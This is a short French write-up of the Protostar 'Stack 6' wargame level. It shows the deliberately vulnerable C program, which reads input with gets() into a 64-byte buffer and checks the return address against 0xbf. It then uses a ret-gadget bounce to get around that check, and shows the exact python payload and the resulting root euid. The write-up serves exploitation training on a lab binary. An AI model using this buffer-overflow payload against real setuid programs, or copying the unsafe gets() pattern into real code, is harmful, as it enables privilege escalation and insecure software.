Stack 6

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
void getpath()
{
	char buffer[64];
	unsigned int ret;
 
	printf("input path please: "); fflush(stdout);
 
	gets(buffer);
 
	ret = __builtin_return_address(0);
 
	if((ret & 0xbf000000) == 0xbf000000) {
		printf("bzzzt (%p)\n", ret);
		_exit(1);
	}
 
	printf("got path %s\n", buffer);
}
 
int main(int argc, char **argv)
{
	getpath();
}

Petite difficulté en plus, cette fois ci nous ne pouvons pas faire sauter directement le programme sur une adresse commençant par 0xbf. Cependant, si on fait sauter le programme sur lui même, sur un ret par exemple. Il va dépiler une adresse et sauter dessus de nouveau ! Il suffit de donc de faire sauter le programme sur un ret et de donner ensuite l'adresse de notre shellcode pour que celui ci saute dessus.

user@protostar:/opt/protostar/bin$ objdump -S ./stack6 | grep ret
 804835f:	c3                   	ret                  <<<< On prend celui ci par exemple
 8048454:	c3                   	ret    
 8048482:	c3                   	ret    
 80484f9:	c3                   	ret    
 8048508:	c3                   	ret    
 8048514:	c3                   	ret    
 8048579:	c3                   	ret    
 804857d:	c3                   	ret    
 80485a9:	c3                   	ret    
 80485c7:	c3                   	ret    
user@protostar:/opt/protostar/bin$ (python -c 'print "A"*80+"\x5f\x83\x04\x08"+"\x6f\xfd\xff\xbf"'; cat) | ./stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA_AAAAAAAAAAAA_o???
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)